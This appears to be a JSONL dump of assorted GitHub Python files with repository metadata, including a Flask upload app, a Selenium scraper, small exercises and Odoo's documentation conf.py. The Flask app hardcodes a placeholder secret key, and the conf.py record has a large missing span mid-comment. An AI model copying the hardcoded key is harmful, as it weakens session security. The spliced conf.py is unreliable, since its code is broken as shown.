answer\n\nprint(solution(6,6,[[2,2,5,4],[3,3,6,6],[5,1,6,3]]))\nprint(solution(3,3,[[1,1,2,2],[1,2,2,3],[2,1,3,2],[2,2,3,3]]))\nprint(solution(100,97,[[1,1,100,97]]))\nprint(solution(20,10,[[2,2,3,3],[3,3,4,10],[1,1,20,10]]))","repo_name":"jungyoonoh/AlgorithmPractice","sub_path":"Python/Programmers/Dev-Matching/행렬_테두리_회전하기.py","file_name":"행렬_테두리_회전하기.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"39763548237","text":"\"\"\"\r\n\r\nWerkzeug provides a bunch of utilities for developing WSGI-compliant applications. \r\nThese utilities do things like parsing headers, sending and receiving cookies, \r\nproviding access to form data, generating redirects, generating error pages when \r\nthere's an exception, even providing an interactive debugger that runs in the browser. \r\nFlask then builds upon this foundation to provide a complete web framework.\r\n\"\"\"\r\n\r\nfrom flask import Flask, render_template, request, redirect, flash\r\nfrom werkzeug.utils import secure_filename\r\nfrom main import getPrediction\r\nimport os\r\n\r\n#Save images to the 'static' folder as Flask serves images from this directory\r\nUPLOAD_FOLDER = 'static/images/'\r\n\r\n\r\napp = Flask(__name__, static_folder=\"static\")\r\n\r\napp.secret_key = \"secret key\"\r\n\r\n#Define the upload folder to save images uploaded by the user. \r\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\r\n\r\n@app.route('/')\r\ndef index():\r\n return render_template('index.html')\r\n\r\n#Add Post method to the decorator to allow for form submission. \r\n@app.route('/', methods=['POST'])\r\ndef submit_file():\r\n if request.method == 'POST':\r\n if 'file' not in request.files:\r\n flash('No file part')\r\n return redirect(request.url)\r\n file = request.files['file']\r\n \r\n if file.filename == '':\r\n flash('No file selected for uploading')\r\n return redirect(request.url)\r\n if file:\r\n filename = secure_filename(file.filename) #Use this werkzeug method to secure filename. \r\n file.save(os.path.join(app.config['UPLOAD_FOLDER'],filename))\r\n label = getPrediction(filename)\r\n flash(label)\r\n full_filename = os.path.join(app.config['UPLOAD_FOLDER'], filename)\r\n flash(full_filename)\r\n return redirect('/')\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app.run()","repo_name":"nambeuch/image-spam-catcher","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"1674221364","text":"from FreeTAKServer.core.configuration.MainConfig import MainConfig\n\n# Make a connection to the MainConfig object for all routines below\nconfig = MainConfig.instance()\n\nclass SSLCoTServiceVariables:\n def __init__(self):\n self.SSLCoTServiceIP = \"0.0.0.0\"\n self.SSLCoTServicePort = config.SSLCoTServicePort\n self.SSLCoTServiceStatus = \"\"","repo_name":"FreeTAKTeam/FreeTakServer","sub_path":"FreeTAKServer/model/ServiceObjects/SSLCoTServiceVariables.py","file_name":"SSLCoTServiceVariables.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","stars":483,"dataset":"github-code","pt":"24"}
+{"seq_id":"3830326489","text":"import re\nimport time\n\n# from selenium import webdriver\nfrom selenium import webdriver\nfrom bs4 import BeautifulSoup\nfrom lmf.dbv2 import db_write\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium.common.exceptions import NoSuchElementException,StaleElementReferenceException\nfrom selenium.common.exceptions import WebDriverException\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\ndriver=webdriver.Chrome()\ndriver.get('http://www.gzzbtbzx.com/more.asp?id=12&city=1&page=2')\n\nlocator=(By.XPATH,'//td[@bgcolor=\"#DFDFDF\"]/table[3]/tbody/tr/td/a')\nWebDriverWait(driver,10).until(EC.presence_of_element_located(locator))\n# time.sleep(1)\n\nval=driver.find_element_by_xpath('//td[@bgcolor=\"#DFDFDF\"]/table[3]/tbody/tr/td/a').text\nprint(val)\ndriver.get('http://www.gzzbtbzx.com/more.asp?id=12&city=1&page=1')\n\nlocator = (By.XPATH, '//td[@bgcolor=\"#DFDFDF\"]/table[3]/tbody/tr/td/a[not(contains(string(),\"%s\"))]'%val)\nWebDriverWait(driver, 10).until(EC.presence_of_element_located(locator))\n\nmain_url=driver.current_url\nprint(main_url)\nmain_url=main_url.rsplit('/',maxsplit=1)[0]\nprint(main_url)\nhtml=driver.page_source\nsoup=BeautifulSoup(html,'lxml')\ncontent=soup.find('td',attrs={'bgcolor':'#DFDFDF'})\ntables=content.find_all('table')\nfor i in range(2,len(tables)-1):\n table=tables[i]\n tr=table.find('tr')\n tds=tr.find_all('td')\n href=tds[0].a['href']\n if 'http' in href:\n href=href\n else:\n href=main_url+'/'+href\n name=tds[0].a.get_text()\n ggstart_time=tds[1].get_text()\n click_num=tds[2].get_text()\n\n tmp=[href,name,ggstart_time,click_num]\n#\n print(tmp)\n\n\ndriver.quit()\n\n\n","repo_name":"rangsutu88/wuhan","sub_path":"work/zhu/webscrap/jiangxi/赣州/tttt.py","file_name":"tttt.py","file_ext":"py","file_size_in_byte":1745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"39853692826","text":"\ndef main():\n repeticao = 3\n i = 0\n\n while i < repeticao:\n number = int(input(\"type a number, please: \"))\n i = i + 1\n\n print(\"numbers: %d \" % number)\n\n number1 = int(input(\"type number 1, please: \"))\n number2 = int(input(\"type number 2, please: \"))\n number3 = int(input(\"type number 3, please: \"))\n\n if number1 < number3:\n number1, number3 = number3, number1\n\n if number1 < number2:\n number1, number2 = number2, number1\n\n if number2 < number3:\n number2, number3 = number3, number2\n\n print(f'a ordem decrescente é {number1}, {number2} e {number3}')\n\n\nmain()\n","repo_name":"aguirreLCD/coursera_1","sub_path":"week3/order.py","file_name":"order.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"12931145071","text":"\"\"\"\ncalculate the number of tokens in a dataset\n\"\"\"\n\nimport numpy as np\n\ntrain_file = \"tokenizer/train.bin\"\nval_file = \"tokenizer/val.bin\"\n\non_train = len(np.fromfile(train_file, dtype=np.int16))\non_val = len(np.fromfile(val_file, dtype=np.int16))\n\nprint(\"train size: {} tokens\".format(on_train))\nprint(\"val size: {} tokens\".format(on_val))\n\nprint(\"total size: {}kk tokens\".format((on_train+on_val)//1_000_000))\n\n\n","repo_name":"byschii/tgp","sub_path":"tokenizer/dataset_size_in_token.py","file_name":"dataset_size_in_token.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"}
+{"seq_id":"43888929372","text":"import os\nimport re\nimport shutil\nimport sys\nfrom pathlib import Path\n\nimport docutils\nimport sphinx\nfrom pygments.lexers import JsonLexer, XmlLexer\nfrom sphinx.ext import graphviz\nfrom sphinx.util import logging\n\n_logger = logging.getLogger(__name__)\n\n\n#=== General configuration ===#\n\n# General information about the project.\nproject = 'Odoo'\ncopyright = 'Odoo S.A.'\n\n# `version` is the version info for the project being documented, acts as replacement for |version|,\n# also used in various other places throughout the built documents.\n# `release` is the full version, including alpha/beta/rc tags. Acts as replacement for |release|.\nversion = release = '16.0'\n\n# `current_branch` is the technical name of the current branch.\n# E.g., saas-15.4 -> saas-15.4; 12.0 -> 12.0, master -> master (*).\ncurrent_branch = version\n# `current_version` is the Odoo version linked to the current branch.\n# E.g., saas-15.4 -> 15.4; 12.0 -> 12; master -> master (*).\ncurrent_version = current_branch.replace('saas-', '').replace('.0', '')\n# `current_major_branch` is the technical name of the major branch before the current branch.\n# E.g., saas-15.4 -> 15.0; 12.0 -> 12.0; master -> master (*).\ncurrent_major_branch = re.sub(r'\\.\\d', '.0', current_branch.replace('saas-', ''))\n# `current_major_version` is the Odoo version linked to the current major branch.\n# E.g., saas-15.4 -> 15; 12.0 -> 12; master -> master (*).\ncurrent_major_version = current_major_branch.replace('.0', '')\n# (*): We don't care for master.\n\n# The minimal Sphinx version required to build the documentation.\nneeds_sphinx = '3.0.0'\n\n# The default language in which the documentation is written. It is set to `None` because Sphinx\n# considers that no language means 'en'.\nlanguage = None\n\n# The suffix of source filenames.\nsource_suffix = '.rst'\n\n# The master toctree document.\nmaster_doc = 'index'\n\n# List of patterns, relative to source directory, that match files and directories to ignore when\n# looking for source files.\nexclude_patterns = [\n 'locale',\n 'README.*',\n 'bin', 'include', 'lib',\n 'odoo',\n]\n\n# The RST text role to use when the role is not specified. E.g.: `example`.\n# We use 'literal' as default role for markdown compatibility: `foo` behaves like ``foo``.\n# See https://docutils.sourceforge.io/docs/ref/rst/roles.html#standard-roles for other roles.\ndefault_role = 'literal'\n\n\n# Whether scaled down images should be be wrapped in a `` tag linking to the image file or not.\nhtml_scaled_image_link = False\n\n# If true, '()' will be appended to :func: etc. cross-reference text\nadd_function_parentheses = True\n\n#=== Extensions configuration ===#\n\nsource_read_replace_vals = {\n 'BRANCH': current_branch,\n 'CURRENT_BRANCH': current_branch,\n 'CURRENT_VERSION': current_version,\n 'CURRENT_MAJOR_BRANCH': current_major_branch,\n 'CURRENT_MAJOR_VERSION': current_major_version,\n 'GITHUB_PATH': f'https://github.com/odoo/odoo/blob/{version}',\n 'GITHUB_ENT_PATH': f'https://github.com/odoo/enterprise/blob/{version}',\n 'OWL_PATH': f'https://github.com/odoo/owl/blob/master',\n}\n\n# Add extensions directory to PYTHONPATH\nextension_dir = Path('extensions')\nsys.path.insert(0, str(extension_dir.absolute()))\n\n# Search for the directory of odoo sources to know whether autodoc should be used on the dev doc\nodoo_sources_candidate_dirs = (Path('odoo'), Path('../odoo'))\nodoo_sources_dirs = [\n d for d in odoo_sources_candidate_dirs if d.is_dir() and (d / 'odoo-bin').exists()\n]\nodoo_dir_in_path = False\n\nif not odoo_sources_dirs:\n _logger.warning(\n \"Could not find Odoo sources directory in neither of the following folders:\\n\"\n \"%(dir_list)s\\n\"\n \"The 'Developer' documentation will be built but autodoc directives will be skipped.\\n\"\n \"In order to fully build the 'Developer' documentation, clone the repository with \"\n \"`git clone https://github.com/odoo/odoo` or create a symbolic link.\",\n {'dir_list': '\\n'.join([f'\\t- {d.resolve()}' for d in odoo_sources_candidate_dirs])},\n )\nelse:\n if (3, 6) < sys.version_info < (3, 7):\n # Running odoo needs python 3.7 min but monkey patch version_info to be compatible with 3.6.\n sys.version_info = (3, 7, 0)\n odoo_dir = odoo_sources_dirs[0].resolve()\n source_read_replace_vals['ODOO_RELPATH'] = '/../' + str(odoo_sources_dirs[0])\n sys.path.insert(0, str(odoo_dir))\n import odoo.addons\n odoo.addons.__path__.append(str(odoo_dir) + '/addons')\n from odoo import release as odoo_release # Don't collide with Sphinx's 'release' config option\n odoo_version = '.'.join(str(s) for s in odoo_release.version_info[:2]).replace('~', '-') # Change saas~XX.Y to saas-XX.Y\n odoo_version = 'master' if 'alpha' in odoo_release.version else odoo_version\n if release != odoo_version:\n _logger.warning(\n \"Found Odoo sources in %(directory)s but with version '%(odoo_version)s' incompatible \"\n \"with documentation version '%(doc_version)s'.\\n\"\n \"The 'Developer' documentation will be built but autodoc directives will be skipped.\\n\"\n \"In order to fully build the 'Developer' documentation, checkout the matching branch\"\n \" with `cd odoo && git checkout %(doc_version)s`.\",\n {'directory': odoo_dir, 'odoo_version': odoo_version, 'doc_version': version},\n )\n else:\n _logger.info(\n \"Found Odoo sources in %(directory)s matching documentation version '%(version)s'.\",\n {'directory': odoo_dir, 'version': release},\n )\n odoo_dir_in_path = True\n\n# Mapping between odoo models related to master data and the declaration of the\n# data. This is used to point users to available xml_ids when giving values for\n# a field with the autodoc_field extension.\nmodel_references = {\n 'account.account.type': 'addons/account/data/data_account_type.xml',\n 'res.country': 'odoo/addons/base/data/res_country_data.xml',\n 'res.currency': 'odoo/addons/base/data/res_currency_data.xml',\n}\n\n# The Sphinx extensions to use, as module names.\n# They can be extensions coming with Sphinx (named 'sphinx.ext.*') or custom ones.\nextensions = [\n # Link sources in other projects (used to build the reference doc)\n 'sphinx.ext.intersphinx',\n\n # Support the specialized to-do directives\n 'sphinx.ext.todo',\n\n # Custom Odoo theme\n 'odoo_theme',\n\n # Youtube and Vimeo videos integration (youtube, vimeo directives)\n 'embedded_video',\n\n 'custom_admonitions',\n\n # Redirection generator\n 'redirects',\n\n # Content tabs\n 'sphinx_tabs.tabs',\n\n # Cards\n 'cards',\n\n # Spoilers\n 'spoilers',\n\n # Strange html domain logic used in memento pages\n 'html_domain',\n]\n\nif odoo_dir_in_path:\n # GitHub links generation\n extensions += [\n 'sphinx.ext.linkcode',\n 'github_link',\n # Parse Python docstrings (autodoc, automodule, autoattribute directives)\n 'sphinx.ext.autodoc',\n 'autodoc_field',\n ]\nelse:\n extensions += [\n 'autodoc_placeholder',\n ]\nextensions.append('sphinx.ext.graphviz' if shutil.which('dot') else 'graphviz_placeholder')\n\ntodo_include_todos = False\n\nintersphinx_mapping = {\n 'pillow': ('https://pillow.readthedocs.io/en/stable/', None),\n 'python': ('https://docs.python.org/3/', None),\n 'werkzeug': ('https://werkzeug.palletsprojects.com/en/2.3.x/', None),\n}\n\ngithub_user = 'odoo'\ngithub_project = 'documentation'\n\nlocale_dirs = ['../locale/']\ntemplates_path = ['../extensions']\n\n# custom docname_to_domain to divide the translations of applications in subdirectories\nsphinx.transforms.i18n.docname_to_domain = (\n sphinx.util.i18n.docname_to_domain\n) = lambda docname, compact: docname.split('/')[1 if docname.startswith('applications/') else 0]\n\n# The version names that should be shown in the version switcher, if the config option `versions`\n# is populated. If a version is passed to `versions` but is not listed here, it will not be shown.\nversions_names = {\n 'master': \"Master\",\n 'saas-16.4': \"Odoo Online\",\n 'saas-16.3': \"Odoo Online\",\n 'saas-16.2': \"Odoo Online\",\n 'saas-16.1': \"Odoo Online\",\n '16.0': \"Odoo 16\",\n 'saas-15.2': \"Odoo Online\",\n '15.0': \"Odoo 15\",\n '14.0': \"Odoo 14\",\n '13.0': \"Odoo 13\",\n}\n\n# The language names that should be shown in the language switcher, if the config option `languages`\n# is populated. If a language is passed to `languages` but is not listed here, it will not be shown.\nlanguages_names = {\n 'de': 'DE',\n 'en': 'EN',\n 'es': 'ES',\n 'fr': 'FR',\n 'it': 'IT',\n 'nl': 'NL',\n 'pt_BR': 'PT',\n 'ro': 'RO',\n 'uk': 'UA',\n 'zh_CN': 'ZH (CN)',\n 'zh_TW': 'ZH (TW)'\n}\n\n# The directory in which files holding redirect rules used by the 'redirects' extension are listed.\nredirects_dir = 'redirects/'\n\nsphinx_tabs_disable_tab_closing = True\nsphinx_tabs_disable_css_loading = True\n\n#=== Options for HTML output ===#\n\nhtml_theme = 'odoo_theme'\n\n# The name of the Pygments (syntax highlighting) style to use.\n# See extensions/odoo_theme/pygments_override.py\npygments_style = 'odoo'\n\n# The paths that contain custom themes, relative to this directory.\nhtml_theme_path = ['extensions']\n\n# The name of an image file (within the static path) to use as favicon of the docs.\n# This file should be a Windows icon file (.ico) being 16x16 or 32x32 pixels large.\nhtml_favicon = os.path.join(html_theme_path[0], html_theme, 'static', 'img', 'favicon.ico')\n\n# The paths that contain custom static files, relative to this directory.\n# They are copied after the builtin static files, so a file named \"default.css\" will overwrite the\n# builtin \"default.css\".\nhtml_static_path = ['static']\nhtml_permalinks = True\n\n# Additional JS & CSS files that can be imported with the 'custom-js' and 'custom-css' metadata.\n# Lists are empty because the files are specified in extensions/themes.\nhtml_js_files = []\nhtml_css_files = []\n\n# PHP lexer option to not require canonical = /documentation/14.0/sale.html\n - /documentation/11.0/fr/website.html -> canonical = /documentation/14.0/fr/website.html\n \"\"\"\n # If the canonical version is not set, assume that the project has a single version\n _canonical_version = app.config.canonical_version or app.config.version\n _canonical_lang = 'en' # Always 'en'. Don't take the value of the config option.\n context['canonical'] = _build_url(_version=_canonical_version, _lang=_canonical_lang)\n\n def _versionize():\n \"\"\" Add the pairs of (version, url) for the current document in the rendering context.\n\n The entry 'version' is added by Sphinx in the rendering context.\n \"\"\"\n context['version_display_name'] = versions_names[version]\n\n # If the list of versions is not set, assume the project has no alternate version\n _provided_versions = app.config.versions and app.config.versions.split(',') or []\n\n # Map alternate versions to their display names and URLs.\n context['alternate_versions'] = []\n for _alternate_version, _display_name in versions_names.items():\n if _alternate_version in _provided_versions and _alternate_version != version:\n context['alternate_versions'].append(\n (_display_name, _build_url(_alternate_version))\n )\n\n def _localize():\n \"\"\" Add the pairs of (lang, code, url) for the current document in the rendering context.\n\n E.g.: ('French', 'fr', 'https://.../fr_BE/...')\n\n The entry 'language' is added by Sphinx in the rendering context.\n \"\"\"\n _current_lang = app.config.language or 'en'\n # Replace the context value by its upper-cased value (\"FR\" instead of \"fr\")\n context['language'] = languages_names.get(_current_lang)\n context['language_code'] = _current_lang\n\n # If the list of languages is not set, assume that the project has no alternate language\n _provided_languages = app.config.languages and app.config.languages.split(',') or []\n\n # Map alternate languages to their display names and URLs.\n context['alternate_languages'] = []\n for _alternate_lang, _display_name in languages_names.items():\n if _alternate_lang in _provided_languages and _alternate_lang != _current_lang:\n context['alternate_languages'].append(\n (\n _display_name,\n _alternate_lang.split('_')[0] if _alternate_lang != 'en' else 'x-default',\n _build_url(_lang=_alternate_lang),\n )\n )\n\n # Dynamic generation of localized legal doc links\n context['legal_translations'] = legal_translations\n\n\n def _build_url(_version=None, _lang=None):\n if app.config.is_remote_build:\n # Project root like https://www.odoo.com/documentation\n _root = app.config.project_root\n else:\n # Project root like .../documentation/_build/html/14.0/fr\n _root = re.sub(rf'(/{app.config.version})?(/{app.config.language})?$', '', app.outdir)\n # If the canonical version is not set, assume that the project has a single version\n _canonical_version = app.config.canonical_version or app.config.version\n _version = _version or app.config.version\n _lang = _lang or app.config.language or 'en'\n _canonical_page = f'{pagename}.html'\n if app.config.is_remote_build:\n _canonical_page = _canonical_page.replace('index.html', '')\n return f'{_root}' \\\n f'{f\"/{_version}\" if app.config.versions else \"\"}' \\\n f'{f\"/{_lang}\" if _lang != \"en\" else \"\"}' \\\n f'/{_canonical_page}'\n\n _canonicalize()\n _versionize()\n _localize()\n","repo_name":"odoo/documentation","sub_path":"conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":19594,"program_lang":"python","lang":"en","doc_type":"code","stars":557,"dataset":"github-code","pt":"24"}
+{"seq_id":"16687065641","text":"#!/usr/bin/env python3\n# coding: utf-8\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see